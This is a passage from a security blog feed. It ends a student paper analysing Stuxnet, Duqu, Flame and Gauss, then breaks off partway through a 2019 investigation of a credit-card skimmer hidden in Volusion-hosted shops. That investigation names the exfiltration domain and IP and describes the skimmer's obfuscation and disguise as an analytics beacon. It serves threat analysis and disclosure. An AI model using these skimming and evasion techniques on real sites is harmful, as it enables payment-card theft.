read requests for infected blocks, and write requests that could overwrite any of its code [6].</p><p>These exploits were made possible thanks to Stuxnet being capable of jumping the “air gap.” Many target machines were not able to be reached over the internet, so the malware had to be spread in many cases with physical access to target systems. The way that this occurred was that the attackers spread USB drives in parking lots of outside contractors responsible for programming the SCADA systems used in Iran [16]. An employee would pick one up and insert it into a computer at the company. The worm then auto executed and infected the computer that was used and spread. Then when they brought the program to the nuclear plants, the malware was transferred (along with the legitimate data) to the SCADA systems, thus jumping the air gap.</p><h3>Signing Keys theft</h3><p>The creators of Stuxnet were able to steal the signing keys of two different companies. By doing this, they were able to sign their false certificates and create an illusion of trust, making the malware appear to be legitimate. This allowed Stuxnet, once it had infected the contractor’s systems, to update itself without prompting the user. It would check if it could connect to Port 80 and check specific domains to see if there was a software update. By connecting to these domains, it could check if it could update itself. It was able to then send information about the infected host and receive data through an encrypted connection. If Stuxnet was updated, then the next time a USB drive was inserted, it would be updated on that drive as well. Then, the next time that drive was inserted into the SCADA system, it would re-infect that system with the updated malware. From there it would propagate through the system using the P2P mechanism within LAN [6][15].</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/705/0*nCqwsWLqCw9lP6dT" /><figcaption>An aerial view of the Natanz fuel enrichment plant. (Photo: DigitalGlobe via Getty Images)</figcaption></figure><h3>Timeline of Events</h3><p>Natanz, Iran housed a nuclear facility buried below the surface in which thousands of specialized centrifuges were built to enrich uranium hexafluoride gas. These centrifuges, known internally as IR-1’s, were fragile pieces of machinery; their supersonic spin rates needed careful calibration to prevent failure, and even with the high levels of care at the plant, had a 10% failure rate per year. It was known that Iran had installed approximately 8,700 IR-1 units just at Natanz. Given these numbers, the IAEA expected to see somewhere around 70–80 decommissioned IR-1 units per month. What they saw in the January 2010 report, however, was a number a few times higher than that.</p><p>The first major sighting of Stuxnet was in June 2010 by a Belarusian antivirus company named Virusblokada [18]. Virusblokada analysts came across the worm used a kernel-level rootkit to hide; furthermore, it was using a stolen certificate from Realtek Semiconductors to do so. By looking at timestamps, they found evidence that the drivers had been compiled just minutes before they had been signed; the most likely explanation was that the attackers had access to one of Realtek’s offline servers, where both the key and certification could be stored together. The use of an authorized digital certificate to authenticate malicious files undermined the credibility of the entire signing architecture and questioned the genuineness of any file signed with digital certificates. Therefore, Virusblokada decided to go public with the findings and posted a brief statement about the zero-day threat on the company‘s website and to an online English-language security forum. Days later, Brian Krebs, a former reporter for the Washington Post, picked up the announcement and wrote an independent blog post about it [18].</p><p>On July 17 of the same year, ESET found another malicious driver with behavior similar to Stuxnet. This one was signed with a digital certificate from a company in Taiwan as well: JMicron Technology, a circuit maker. Interestingly, JMicron’s main campus was right next door to Realtek Semiconductors. JMicron certificate was timestamped as compiled on July 14th, which was 2 days after Virusblokada had gone public with the news of Stuxnet.</p><p>The mystery of Stuxnet’s intent was first touched on by German researcher Frank Baldwin. The worm appeared to be looking specifically for computers installed with one of two proprietary software packages: either the Siemens SIMATIC Step 7 or the SIMATIC WinCC module. Both applications are part of an industrial control system (ICS) designed to work with Siemens programmable logic controllers (PLCs), commonly used in factories to control automated systems. One of the signs that implied that the worm was a product of a massive coordinated operation was the Stuxnet file size of 500 kilobytes, which was unusual among the known and typical malware.</p><p>Symantec’s Tokyo team discovered that each time Stuxnet infected a device, it contacted servers in Denmark and Malaysia. It would upload key information about the infected machine like its domain name, internal IP address, the version of Windows it was running, and whether or not Siemens software was installed on it. Interestingly, if Stuxnet found that the machine did not have the targeted software it was looking for, it simply shut down. Symantec Tokyo contacted the DNS providers for the two servers Stuxnet seemed to be contacting and requested them to reroute traffic to their internal servers instead. After days of tracking the worm’s requests to these servers, Symantec’s teams found that out of the 38,000 machines they tracked, over 22,000 were just in Iran [18].</p><h3>Stuxnet Complexity</h3><p>Stuxnet took some measures to hide its intended functionality from interested researchers, it’s innermost workings are obfuscated and hidden by a common process called code packing. Through code packing, the binary code of a piece of malware becomes largely unreadable. It is only visible in a form that can be deciphered as a wrapper program decompresses it into memory.</p><p>Symantec researcher Nicolas Falliere identified a total of 15 intricately bundled components [17], encrypted and wrapped within one another, that Stuxnet unpacked in the course of its execution. Most malware is simply packed up all in one chunk with a commercial packing program or attacker’s packaging software. As is discussed before, Stuxnet relied on several high-profile Windows zero-day exploits for infection and execution [12]. And to analyze such programs relying on such exploits, researchers would need to make sense of the method used. The process involved loading Stuxnet into a debugging tool (such as IDA Pro or Windbg [13]) that would allow them to see every individual assembly instruction that the malware would execute, along with the stack and heap space, and manually recreate a clear picture of what vulnerabilities were being exploited by Stuxnet and what it was gaining from those exploits.</p><p>What was determined that once Stuxnet installed itself on a control PC, it began to intercept messages that the Step7 software and Programmable Logic Controllers (small computers which control industrial parts such as motors and valves) used to communicate [17]. Through a sort of “man in the middle” attack, Stuxnet silently replaced valid instructions to the PLC with its instructions. It also replaced incoming response messages from the PLC, which might alert observing workers to the fact that not all was well, with its messages telling observers that everything was running smoothly. This revelation — that the PLCs were the primary target — meant that Stuxnet was likely not primarily an espionage tool, but was instead meant to sabotage in a more direct, physical manner.</p><p>Stuxnet used STL programming language to communicate with the Siemens PLCs. Symantec had found a few mystery values in Stuxnet as well which indicated the target was indeed its industrial control systems — it seemed to search for the values 2C CB 00 01, 9500h, and 7050h on an infected system as well. The first value was discovered when a Profibus network card was added to the testing environment. The other values were found in a Profibus documentation PDF as product IDs for frequency converters [17].</p><p>Frequency converters can be used to change the speed of a rotor’s spin in an industrial environment. With the frequency converter manuals in hand, the STL codes began to make more sense — ‘word 47 and 1’ was code for start the frequency converter [17]. Diving deeper, they found that Stuxnet was changing the value between 1064 Hz, their default value, and occasionally 1410 Hz and 2 Hz for short periods. Further research pointed them at last rather definitely to the reason these converters were targeted — 1064 Hz was a frequency within the range that uranium enrichment facilities ran their centrifuges at. Running these machines at very fast and very slow speeds could destroy the machines and eventually setback the nuclear program. Another German industrial control systems security specialist named Ralph Langner also confirmed the finding and provided additional insights as his team began to produce a series of blog posts detailing what the STL code of Stuxnet was telling the PLCs to do (along with his interpretations of what Stuxnet was targeting.)[11] [4]</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/475/0*qrQviUflRRXoeBty.png" /></figure><h3>Duqu</h3><p>Duqu was discovered by CrySys Lab in September of 2011 and was named after the files it created with the prefix “∼DQ” in their names. Although distinct from Stuxnet, it is believed that the creator(s) of Duqu either also created Stuxnet or had access to the Stuxnet source code. Installation of Duqu is the result of a zero-day vulnerability in Microsoft Word’s TrueType font parsing engine that was utilized to “elevate privileges and then run arbitrary code” [8]. By opening a seemingly innocuous yet specially prepared Word Document, the zero-day vulnerability is exploited to launch kernel-mode shellcode which then decrypts a driver file and installer from the Word document. The installer soon takes over, and three more files (the main DDL, the load point driver, and the config file) are encrypted. If everything has gone successfully, execution control is then passed to the main DDL, which scans for and bypasses various security products and extracts “resource 302… the primary payload of the threat” [3].</p><p>Resource 302 is a program that can “load the payload into memory and execute it in several different ways”. This loading can be visualized as a method with three arguments: an integer defining one of three loading techniques, a preferred process name, and an optional string. Once the final payload (.data) is executed, command and control functionality is established. This “allows downloading and executing updates and additional payload modules” [3]. Duque’s purpose appeared to be “to gather intelligence data and assets from entities such as industrial infrastructure and system manufacturers, amongst others not in the industrial sector, to more easily conduct a future attack against another third party” [3]. This was in contrast with Stuxnet, which directly sought out and compromised the Siemens Simatic PLC. To accomplish the task of information reconnaissance, Duqu communicated with “command and control” servers, similar to Stuxnet before it, with which it would send information and receive updates. To facilitate communication, Duqu utilized encapsulated HTTP and HTTPS over ports 80 and 443. If an infected system could not access the internet, Duqu would seek out other infected computers on the same network and use them as an indirect means of communication with the C&amp;C servers. Through this “P2P Command and Control” methodology, even some of the most secure, unattached, and heavily monitored computers within a secure system could still receive malicious updates and additional executable binaries from the command servers. On local area networks, this technique was also utilized to add to Duque’s discretion. On a network of compromised computers, only one ever needed to directly connect to a C&amp;C server [3].</p><p>Similarly to Stuxnet, Duqu uses some creative techniques to avoid detection. First, the malware is programmed to destroy itself 36 days after infection. This is a stealth mechanism used in case the virus cannot communicate with the command and control server. If Duqu was not reporting anything, leaving it on a system indefinitely would have introduced an unnecessary risk of the malware being discovered and analyzed ahead of schedule. Self-deletion effectively increases the lifespan of the virus by making it take longer for malware researchers to discover it [5]. Second, it injects itself into trusted system processes to avoid being spotted as an unknown program running in the computer [3]. This technique also makes the detection of the virus by a system administrator or security software more difficult. Third, Duqu further decreases its chances of detection by keeping a list of known security tools and modifying its behavior based on which security systems are installed in the targeted computer. This behavior is also found in Stuxnet, but Duqu included Kaspersky 10 and 11 as well as Rising Antivirus to its list of security software that must be avoided, as well as all those enumerated by Stuxnet [3].</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/770/0*uWdTKD2ZjTRQO5vP.png" /></figure><h3>Flame</h3><p>Also known as sKyWIper (from the ∼KWI files it creates) and Flamer, Flame is yet another piece of malware software that shows evidence of a relationship with Stuxnet in its source code and behavior. Of particular note was Flame’s method of propagation. Like Stuxnet, Flame spread at least in part through thumb drives, tightening the connection between the two malwares. Unlike Stuxnet, however, and similar to Duqu, the purpose of the Flame malware appears to have been espionage and data theft.</p><p>Like its predecessor Stuxnet, Flame held an emphasis on complexity. Within the code, many parts were explicitly referenced with odd names, ie the unit Limbo created “backdoor” accounts with login “Helpassistant” on the machines when possible. The name Munch referred to an “HTTP server that responds to ‘/view.php’ and ‘/wpad.dat’ requests.” To store and transmit the acquired information, Flame incorporated five different encryption algorithms, several compression algorithms, and a handful of proprietary file types of which the full extents could not be deciphered. With that said, “the HLV and KWI file formats [contained] data resembling… database table records” [9]. These records contained “basic information on running processes” and “ In some cases… screenshot related information” [9]. This behavior is very peculiar, as it typically does not make sense for malware software to store so much information on the infected machine. Databases can take up a lot of space, leading to earlier detection, and the database structure can give hints as to what kind of data the malware had acquired. Similar to Duqu and Stuxnet before it, Flame also communicated with a command and control server (in this instance, specified under the name GATOR) to receive updates and relay stolen information [9].</p><p>Flame and Duqu appear to share the same objective and were operating in the same regions of the world at the same time. That is, Flame and Duqu found generally in Eastern Europe, and their primary function was not PLC compromise but instead information gathering [14]. This could imply that “the attackers hired multiple independent development teams for the same purpose… to increase the robustness of the operation[9]. Additional evidence for separate development teams in the list of major differences between Duqu and Flame. One such difference was the propagation method. Another is Flame’s lack of a valid digital signature, which the authors of Duqu were able to acquire for their product [9].</p><h3>Gauss</h3><p>Gauss is the most recently created strain of the malware Stuxnet. Similarly to Duqu and Flame, it‘s used for espionage (whereas the primary purpose of Stuxnet was sabotaging nuclear installations). Gauss is used to stealing “credentials, including banking, social networking, electronic mail and instant messaging credentials” [7]. Unlike other versions of Stuxnet, Gauss steals that information by injecting itself into browsers and collecting sensitive information such as session data, passwords, and cookies [2]. The malware is composed of many modules that are named after famous mathematicians: Lagrange, Godel, Tailor, Kurt, and Gauss. It was named Gauss because that is the module that collects most of the information from the infected systems [2].</p><p>Gauss is a modular malware that resembles a toolkit because it consists of many modules that are selectively used for different malicious purposes. The module Shell HE is the loader that activates all the other modules in the system. There is no specific rule for which modules will appear in an infected computer; other than Shell, any module may or may not be present. Some of the modules discovered so far are tasked with: collecting information about the computer‘s drives, infecting USB drives with a USB spy module, installing browser plugins to collect browser data, collect information about network interfaces, information about the user‘s domain and the CMOS and BIOS, install the font “Palida Narrow”, and interact with the command and control server to upload collected information and download other modules and instructions, among others functions. The information describing which modules are installed in a system is stored in the Windows registry [10].</p><p>Gauss resembles Flame in many aspects. Their similarities “indicate that they come from the same factories that produced Stuxnet and Duqu” [19]. Those similarities played a key role in the discovery and analysis of Gauss. This malware shares a comparable codebase and communicate to the command and control servers analogously. They also share many common features: they have a modular architecture; they use a .LNK exploit for the CVE-2010–2568 vulnerability to steal information from a system to an infected USB drive; they use the .OCX file extension; and most of the encryption they use is based on XOR [10]. Gauss introduces an encryption method that gives it an advantage over Stuxnet, Duqu, and Flame in preventing the analysis of the malware. Godel is one of two modules that are installed into the infected USB drive that is used to steal information from a computer [10]. This module is encrypted with RC4. Unlike other Stuxnet variants, the key to decrypt the executable code is neither embedded into the malware nor downloaded from a command and control server. Instead, the key is calculated from the contents of the Program Files folder. Thus, only in very specific computers will the right key be obtained and the malicious code is executed [2].</p><p>Despite the similarity between Gauss and other threats from the Stuxnet family, there is much that is still unknown about Gauss. Firstly, it sometimes installs “Palida Narrow” Font in the infected system. Though this fact is effectively used in the detection of infected computers, the purpose of installing that font is as of yet unknown [2]. Secondly, we don‘t know what the malware dropper is. So far, experts have only been able to discover systems where the Gauss‘ modules have been already installed, but no one knows how the initial infection is produced [10]. Thirdly, due to the modular architecture of the malware, there may be other modules out there that have not been detected yet. Lastly, even though we know that the malware was built, in part, to spy on the infected systems, we don‘t know what the encrypted code does once the activation criteria are met. Essentially, we don‘t know exactly what information the malware hoped to obtain or what its real goal was.</p><h3>Conclusion</h3><p>Stuxnet was a first for the malware world in several ways. Not only was it more complex than pretty much anything researchers had discovered before — it is thought to be the first time a nation-state used malware to sabotage the military developments of another nation. Though the exact identities of Stuxnet‘s developers remain uncertain, all clues point to it being a joint product of the US and Israel. Previously, physical damage had been restricted to physical forces — the only other way to destroy Iranian uranium enrichment equipment would have been a targeted invasion of the housing facilities. Stuxnet eliminated a significant deal of risk in terms of losses and publicity for the attackers.</p><p>Stuxnet and related malware leave behind an impressive legacy. Never before in the history of computing had malware software been so sophisticated with damaging effects so clearly realized in the physical world. With an emphasis on “selectivity, stealth, self-protection, and self-updating,”[20] Stuxnet redefined how the world perceived cyberattacks.</p><p><em>This is a paper I wrote a few years back while still a student. Worth resharing given the current geopolitics between the US and Iran.</em></p><p>Previous posts:</p><ul><li><a href="https://blog.usejournal.com/threat-actor-behind-astaroth-is-now-using-cloudflare-workers-to-bypass-your-security-solutions-2c658d08f4c">Threat Actor behind Astaroth is now using Cloudflare Workers to bypass your Security Solutions.</a></li><li><a href="https://blog.usejournal.com/sesame-street-volusion-customers-are-comprised-how-the-cookie-monster-is-stealing-cc-numbers-21eb51ec613b">Sesame Street &amp; Volusion customers are comprised; how the cookie monster is stealing CC numbers.</a></li></ul><h3>References</h3><ol><li>J. Assange, “Serious nuclear accident may lay behind Iranian nuke chief’s mystery resignation.” <a href="http://www.pollingreport.com/iran.htm.">http://www.pollingreport.com/iran.htm.</a></li><li>e. a. Beneath, Boldizsar, “The Cousins of Stuxnet: Duqu, Flame, and Gauss.,” Future Internet, vol. 4, no. 4, pp. 971–1003, 2012.</li><li>E. Chien, L. OMurchu, and N. Falliere, “W32. duqu: the precursor to the next Stuxnet,” in Proc. of the 5th USENIX Workshop on Large-Scale Exploits and Emergent Threats (LEET), 2012.</li><li>W. contributors, “Frequency changer.” <a href="http://en.wikipedia.org/w/index.php?title=Frequency">http://en.wikipedia.org/w/index.php?title=Frequency</a> changer&amp;oldid=617890615.</li><li>M. Faisal and M. Ibrahim, “Stuxnet, duqu and beyond,” International Journal of Science and Engineering Investigations, vol. 1, no. 2, pp. 75–78, 2012.</li><li>N. Falliere, L. O. Murchu, and E. Chien, “W32. stuxnet dossier,” White paper, Symantec Corp., Security Response, vol. 5, 2011.</li><li>Ginter, A. DuQu, Stuxnet, APT and Other Failures of ICS Security. <a href="http://waterfall-security.ca/resources/wf-afpm-failures-P-12-02.pdf">http://waterfall-security.ca/resources/wf-afpm-failures-P-12-02.pdf</a> .</li><li>Kaspersky, “Duqu: Steal everything. <br>http://www.kaspersky.com/about/press/major malware outbreaks/duqu.</li><li>C. Labs, “sKyWIper (a.k.a. Flame a.k.a. Flamer): A complex malware for targeted attacks,” tech. rep., Budapest University of Technology and Economics, May 2012. <a href="http://www.crysys.hu/skywiper/skywiper.pdf.">http://www.crysys.hu/skywiper/skywiper.pdf.</a></li><li>K. Labs, “Gauss: Abnormal Distribution.” <a href="http://securelist.com/analysis/publications/36620/">http://securelist.com/analysis/publications/36620/</a> gauss-abnormal-distribution/, 2012.</li><li>R. Langner, “Stuxnet logbook, sep 16 2010, 1200 hours mesz.” <a href="http://www.langner.com/en/2010/09/16/stuxnet-">http://www.langner.com/en/2010/09/16/stuxnet-</a> logbook-sep-16–2010–1200-hours-mesz/.</li><li>A. Matrosov, E. Rodionov, D. Harley, and J. Malcho, “Stuxnet under the microscope,” ESET LLC (September 2010), 2010.</li><li>H.-R. SA, “IDA: About.” <a href="https://www.hex-rays.com/products/ida/">https://www.hex-rays.com/products/ida/.</a></li><li>S. Security, “Flamer: Highly sophisticated and discreet threat targets the middle east.” <a href="http://www.symantec.com/connect/blogs/flamer-highly-sophisticated-and-discreet-threat-targets-">http://www.symantec.com/connect/blogs/flamer-highly-sophisticated-and-discreet-threat-targets-</a> middle-east, May 2012.</li><li>V. Shmatikov, “Stuxnet.” Lecture <a href="http://www.cs.utexas.edu/shmat/courses/cs361s/stuxnet.pdf">http://www.cs.utexas.edu/shmat/courses/cs361s/stuxnet.pdf</a></li><li>B. Sterling, “The dropped drive hack.” <a href="http://www.wired.com/2011/06/the-dropped-drive-hack/">http://www.wired.com/2011/06/the-dropped-drive-hack/.</a></li><li>K. Zetter, “How digital detectives deciphered Stuxnet, the mode menacing malware in history.” <a href="http://www.wired.com/2011/07/how-digital-">http://www.wired.com/2011/07/how-digital-</a> detectives-deciphered-Stuxnet/</li><li>K. Zetter, Countdown to Zero Day. New York: Crown Publishers, 2011.</li><li>S. Zhioua, “The Middle East under Malware Attack Dissecting Cyber Weapons,” in Distributed Computing Systems Workshops (ICDCSW), 2013 IEEE 33rd International Conference on, pp. 11–16, IEEE, 2013.</li><li>“Lessons from Stuxnet”, Computer, vol.44, no. 4, pp. 91–93, April 2011, doi:10.1109/MC.2011.115</li></ol><figure><a href="https://usejournal.com/?utm_source=medium.com&amp;utm_medium=noteworthy_blog&amp;utm_campaign=tech&amp;utm_content=guest_post_image"><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iwthGEeUMHMu9QK60Q2mTA.png" /></a></figure><p>📝 Read this story later in <a href="https://usejournal.com/?utm_source=medium.com&amp;utm_medium=noteworthy_blog&amp;utm_campaign=tech&amp;utm_content=guest_post_read_later_text">Journal</a>.</p><p>👩‍💻 Wake up every Sunday morning to the week’s most noteworthy stories in Tech waiting in your inbox. <a href="https://usejournal.com/newsletter/noteworthy-in-tech/?utm_source=medium.com&amp;utm_medium=noteworthy_blog&amp;utm_campaign=tech&amp;utm_content=guest_post_text">Read the Noteworthy in Tech newsletter</a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7ac09ef261d1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Sesame Street & Volusion customers are comprised; how the cookie monster is stealing CC numbers.]]></title>
            <link>https://medium.com/@marcelx/sesame-street-volusion-customers-are-comprised-how-the-cookie-monster-is-stealing-cc-numbers-21eb51ec613b?source=rss-a10ac75b8c76------2</link>
            <guid isPermaLink="false">https://medium.com/p/21eb51ec613b</guid>
            <category><![CDATA[data-breach]]></category>
            <category><![CDATA[volusion]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[javascript]]></category>
            <category><![CDATA[e-commerce-business]]></category>
            <dc:creator><![CDATA[Marcel Afrahim]]></dc:creator>
            <pubDate>Tue, 08 Oct 2019 07:45:36 GMT</pubDate>
            <atom:updated>2019-10-11T17:10:05.666Z</atom:updated>
            <content:encoded><![CDATA[<h3>Sesame Street among many Volusion customers are compromised; how the cookie monster is stealing credit card info.</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0bgk9gG_xeSRsjT6cLwzDw.jpeg" /><figcaption>Data Breach of the day brought to you by Volusion!</figcaption></figure><p>What started as a simple toy shopping on <a href="http://sesamestreetlivestore.com/">sesame street store</a> on a rainy afternoon turned out to be a much bigger deal than I thought. <br>Let me explain.</p><h3>The Company</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/316/0*SUbxbxRY51AOFLkf.jpg" /></figure><p><a href="http://www.volusion.com/">Volusion</a> describes itself as a leading e-commerce solution for small businesses. With its powerful shopping cart software, Volusion has helped thousands of merchants and supposedly Shoppers have spent more than $28 billion in transactions and placed over 185 million orders on Volusion stores.</p><h3>The Compromised</h3><p><a href="http://sesamestreetlivestore.com/">sesamestreetlivestore.com</a> is the official <a href="https://www.sesamestreetlive.com/">sesamestreetlive.com</a> online store to purchase sesame street merchandise and is build with <a href="http://www.volusion.com/">Volusion</a>’s All-in-One E-commerce Website Builder. Its Name servers are even maintained by the Volusion’s Name servers.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0ZuywStsDJvOnPsulnSl7A.png" /></figure><p>The checkout page is designed as a single page payment where all the info is entered on one page and validated on the submission before taking the user to the confirmation page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*C92EH1F4z3sgIK4I3AD6Og.png" /></figure><p>While all the resources are loading from <a href="http://sesamestreetlivestore.com/">sesamestreetlivestore.com</a> or volusion.com affiliated websites, there is an odd javascript file being loaded from storage.googleapis.com with interesting bucket name of <em>volusionapi</em>. if you are not aware of it, storage.googleapis.com is a Google Cloud Storage domain name which is a RESTful online file storage web service for storing and accessing data on Google Cloud Platform infrastructure. Anyone can signup and chose a unique bucket name and serve content with the performance and scalability of Google’s cloud.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/860/1*3P_pDhrTKTN0lOSlCZsIfQ.png" /></figure><p>Google Cloud Storage (and other Cloud storage providers) has been abused before where threat actors or malware authors distribute malicious code or actual malware through these legitimate services. Your’s truly actually wrote about this just last month.</p><p><a href="https://blog.usejournal.com/threat-actor-behind-astaroth-is-now-using-cloudflare-workers-to-bypass-your-security-solutions-2c658d08f4c">Threat Actor behind Astaroth is now using Cloudflare Workers to bypass your Security Solutions.</a></p><p>So it seems to be a bit odd that of all the pages on the site, there is an external javascript being loaded from some randomly named storage on the checkout page of an e-commerce website.</p><h3>The Cookie</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/310/0*hTNw49BXgjKwXCZY.jpg" /></figure><p>resources.js is a minified Javascript code which on the surface looks like some code that some developer just grabbed from any open source libraries and used. As I will explain this script is posting credit card info entered on the page to another domain name and surprisingly its called “JavaScript Cookie”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RMhruCnCOAKJ_L2m7ITiEA.png" /></figure><p>On the surface its pretending to be a simple, lightweight JavaScript API for handling cookies copied from the following GitHub repo with replica <a href="https://gist.github.com/mwhiteley16/8af309007dc9d9e24abb32d45aab3d35">here</a>.</p><p><a href="https://github.com/js-cookie/js-cookie">GitHub - js-cookie/js-cookie: A simple, lightweight JavaScript API for handling browser cookies</a></p><p>But pretty-printing it using Chrome’s developer tools (thanks Google), it displays something very alarming and essentially what is at the core of the compromise.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bT7vWNrIe4QlJ76G1XTyLA.png" /></figure><p>At its core, the additional code consists of two sections. The first section is reading the values entered at the Credit Card information fields and after a series of checks, it&#39;s Base64 encoded along with serialization and simple shift operation, So that a simple Base64 deobfuscation would not reveal the data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LayUlz_KKOKw9IUaufRYPw.png" /></figure><p>The data is then stored using the browser’s sessionStorage with the name “<em>__utmz_opt_in_out</em>”. sessionStorage is similar to localStorage; the difference is that while data in localStorage doesn’t expire, data in sessionStorage is cleared when the page session ends. This chart summarizes the difference between different storage types in the browser.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/886/0*UhDHa1RKRASX_gME.jpg" /></figure><p>The second part of the script is responsible for reading that data stored and posting it to their primary server <em>hxxps://volusion-cdn.com/analytics/beacon. </em>The code itself does not need much explanation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yEj3lzKKr465TJ9P07LCDQ.png" /></figure><p>This is what will be shown as part of the network activity. The data itself can not be decoded by predefined functions. The URL looks like Analytics or Domain tracking URL and even an analyst might just ignore it as it is.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HXdPhJAAM4LHNuXK4BQ_cA.png" /></figure><p>To an untrained eye, this does not look suspicious. Even most analysts would agree that this how legitimate Analytics and web tracking traffic look like these days.</p><p>Digging deeper, Volusion-Cdn[.]com is a fairly new domain name that was only registered last month. it shares nothing with Volusion infrastructure or nameservers and the biggest flag of all, it is being WhoisGuard Protected.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vsUVpp0WN42ZsiJpZ5uYQA.png" /></figure><p>The associated IP address 66.42.76.145 is owned by United States Seattle Vultr Holdings Llc which is a New Jersey-based cloud hosting firm.</p><p>If you make a simple GET request to URL, it returns a pixel icon, similar to the ones used by many of the web trackers.</p><p><em>&gt;&gt;&gt; </em><a href="https://volusion-cdn.com/analytics/beacon"><em>https://volusion-cdn.com/analytics/beacon</em></a><em><br>&gt; — — — — — — — — — — — — — — — — — — — — — — <br>&gt; 200 OK<br>&gt; — — — — — — — — — — — — — — — — — — — — — — <br></em><strong><em>Status:</em></strong><em>200 OK<br></em><strong><em>Code:</em></strong><em>200<br></em><strong><em>Cache-Control:</em></strong><em>no-cache<br></em><strong><em>Pragma:</em></strong><em>no-cache<br></em><strong><em>Content-Length:</em></strong><em>98<br></em><strong><em>Content-Type:</em></strong><em>image/png<br></em><strong><em>Expires:</em></strong><em>-1<br></em><strong><em>Server:</em></strong><em>Microsoft-IIS/8.5<br></em><strong><em>X-Powered-By:</em></strong><em>ASP.NET</em></p><p>If you make a GET request to Volusion-Cdn[.]com, it redirects you to legitimate Volusion CDN <em>cdn3.volusion.com.</em></p><p><em>&gt;&gt;&gt; </em><a href="https://volusion-cdn.com/"><em>https://volusion-cdn.com/</em></a><em><br>&gt; — — — — — — — — — — — — — — — — — — — — — — <br>&gt; 302 Found<br>&gt; — — — — — — — — — — — — — — — — — — — — — — <br></em><strong><em>Status:</em></strong><em>302 Found<br></em><strong><em>Code:</em></strong><em>302<br></em><strong><em>Cache-Control:</em></strong><em>no-cache<br></em><strong><em>Pragma:</em></strong><em>no-cache<br></em><strong><em>Expires:</em></strong><em>-1<br></em><strong><em>Location:</em></strong><em>https://cdn3.volusion.com/<br></em><strong><em>Server:</em></strong><em>Microsoft-IIS/8.5<br></em><strong><em>X-AspNet-Version:</em></strong><em>4.0.30319<br></em><strong><em>X-Powered-By:</em></strong><em>ASP.NET</em></p><p>At this point, it is pretty obvious <em>volusion-cdn[.]com </em>has nothing to do with the Volusion and it is made only to look like Volusion owned domain name essentially to steal credit card information.</p><h3>The Count</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/666/0*F6PoyPm4voLdvydU.jpg" /><figcaption>Why is Count von Count saying <strong>6593?</strong></figcaption></figure><p>While it is not overly sophisticated, the actors behind this operation went through some lengthy steps to make the traffic look normal. What was not mentioned was how did the script get into the page in the first place. Using Chrome’s source tab, you can search the entire source of the website currently loaded on the session. Just searching for initial script file URL</p><p>&lt;<em>hxxps://storage.googleapis.com/volusionapi/resources.js&gt;</em></p><p>I found out that the script is dynamically injected to the page and it’s initially stored at</p><p><a href="https://www.sesamestreetlivestore.com/a/j/vnav.js"><em>&lt;https://www.sesamestreetlivestore.com/a/j/vnav.js</em></a><em>&gt;</em></p><p>The code itself is claiming to be jQuery UI — v1.10.3, used for navigation UI menu, but there is the addition of the script to load the secondary malicious script to post data via a third script. Are you following?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I5dhdkB5vQeVK6x2o4Lvwg.png" /><figcaption><a href="https://www.sesamestreetlivestore.com/a/j/vnav.js">https://www.sesamestreetlivestore.com/a/j/vnav.js</a></figcaption></figure><p>The directory path to the <a href="https://www.sesamestreetlivestore.com/a/j/vnav.js">vnav.js</a> looks to be an integral part of the E-commerce store and something that is not used for one particular customer if you are running a platform to host an e-commerce website.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JsHM6T9lWBpAhTSKno28pQ.png" /><figcaption>As advertised!</figcaption></figure><p>Given the number of customers advertised by Volusion itself, I checked out some other website showcased by Volusion that might have the same path.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nnwBDnmqn49bZe0Ejj1V0g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RNs5fRV-JBFq9qGKA2kFFg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Rb1B4LbN9XBVpQUJj4Z9MA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/630/0*2V6UmS83QWA1C9jI.png" /><figcaption>Are you thinking what I’m thinking?</figcaption></figure><p>The compromise is not only unique to Sesame-Street Store and most likely any <strong>e-commerce website hosted on Volusion</strong> is probably running malicious code and posting the credit card info of the consumers to the outsider domain.</p><p>Searching “a/j/vnav.js” on <a href="https://publicwww.com/websites/&quot;a%2Fj%2Fvnav.js&quot;/">publicwww.com</a> brings up <strong>6593</strong> web pages that are probably hosted by Volusion and are probably compromised, if not higher.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jsWA5wbBUdHkqDEXaPaTEw.png" /><figcaption>Now you know why Count von Count is saying <strong>6593.</strong></figcaption></figure><p>While I can’t confirm it unless I go through the entire list of websites, it&#39;s safe to assume to all the <strong>vnav.js</strong> files are pointing to singular location and once that is compromised, the entire customer base of Volusion is compromised. It is hard to determine when exactly did the information leakage started, but one of the response headers for <strong>resources.js</strong> JavaScript file uploaded to <em>Google Cloud Storage </em>is pointing to the the timestamp “Thu, 12 Sep 2019 